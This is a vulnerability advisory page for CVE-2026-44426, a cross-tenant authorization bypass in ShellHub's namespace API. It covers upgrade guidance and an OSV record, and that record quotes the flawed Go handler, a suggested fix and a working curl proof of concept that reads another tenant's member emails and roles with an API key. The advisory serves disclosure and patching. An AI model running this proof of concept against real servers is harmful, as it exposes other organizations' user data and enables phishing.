CVE-2026-44426: Github.com/shellhub io/shellhub Tenant` Vulnerability
MODERATECVE-2026-44426 is a MODERATE (CVSS 6.5) tenant` vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Github.com/shellhub io/shellhub libraries in the Go ecosystem. The issue involves tenant` via api key bypasses membership check. Remediation is available by upgrading affected packages to version 0.24.2.
CVE-2026-44426 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-44426
To remediate this vulnerability, upgrade all affected Github.com/shellhub io/shellhub dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/shellhub-io/shellhub to 0.24.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/shellhub-io/shellhub
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-44426, inspect your project dependencies for Github.com/shellhub io/shellhub:
inspect dependencies for github.com/shellhub-io/shellhub
Analyze the terminal output to locate any version of Github.com/shellhub io/shellhub in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.24.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Github.com/shellhub io/shellhub, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44426 Affected Github.com/shellhub io/shellhub Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/shellhub-io/shellhub
|
Go |
< 0.24.2
|
0.24.2
|
References
Frequently Asked Questions
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Machine-readable OSV JSON
OSV v1.5 Schema
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"schema_version" : "1.4.0",
"id" : "GHSA-vwx9-7qcf-gg7f",
"modified" : "2026-05-14T20:43:26Z",
"published" : "2026-05-07T03:02:28Z",
"aliases" : [ "CVE-2026-44426" ],
"summary" : "ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses membership check",
"details" : "## Summary\n`GET /api/namespaces/:tenant` returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key's own tenant scope.\n\nThe handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication.\n\n## Affected versions\nShellHub Community v0.24.1 (validated).\n\n## Root cause\n`api/routes/nsadm.go:75-102` — membership check is skipped when `c.ID()` is nil:\n\n ```go\n var uid string\n if c.ID() != nil {\n uid = c.ID().ID\n }\n\n ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)\n if err != nil || ns == nil {\n return c.NoContent(http.StatusNotFound)\n }\n\n if uid != \"\" { // ⚠️ skipped when API Key is used\n if _, ok := ns.FindMember(uid); !ok {\n return c.NoContent(http.StatusForbidden)\n }\n }\n\n return c.JSON(http.StatusOK, ns)\n ```\n\n `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`,\n and `X-API-KEY` for API Key authentication — never `X-ID`. So\n `c.Request().Header.Get(\"X-ID\")` returns `\"\"`, `c.ID()` returns `nil`, and\n the membership check is bypassed.\n\n## Proof of concept (validated live against v0.24.1)\n\n ```bash\n # Attacker authenticates in their own namespace and mints an API Key\n ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"attacker\",\"password\":\"...\"}' | jq -r .token)\n\n ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"name\":\"poc\",\"expires_at\":30}' | jq -r .id)\n\n # Baseline: same request with JWT is correctly blocked\n curl -i http://target/api/namespaces/<victim-tenant-uuid> \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\"\n # Observed: HTTP 403 (correct)\n\n # Exploit: same request with API Key returns full namespace\n curl -i http://target/api/namespaces/<victim-tenant-uuid> \\\n -H \"X-API-Key: $ATTACKER_KEY\"\n # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],\n # settings, max_devices, devices_accepted_count, type, created_at}\n ```\n\n## Impact\n - Enumeration of any ShellHub namespace by tenant UUID.\n - Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.\n - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.\n\n## Suggested fix\nTwo layers:\n\n 1. **Primary** — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:\n\n ```go\n // nsadm.go GetNamespace\n if c.Tenant() != nil && c.Tenant().ID != req.Tenant {\n return c.NoContent(http.StatusForbidden)\n }\n ```",
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"events" : [ {
"introduced" : "0"
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"fixed" : "0.24.2"
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"database_specific" : {
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}
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"references" : [ {
"type" : "WEB",
"url" : "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-vwx9-7qcf-gg7f"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44426"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/shellhub-io/shellhub"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-639" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-07T03:02:28Z",
"nvd_published_at" : "2026-05-13T22:16:44Z"
}
}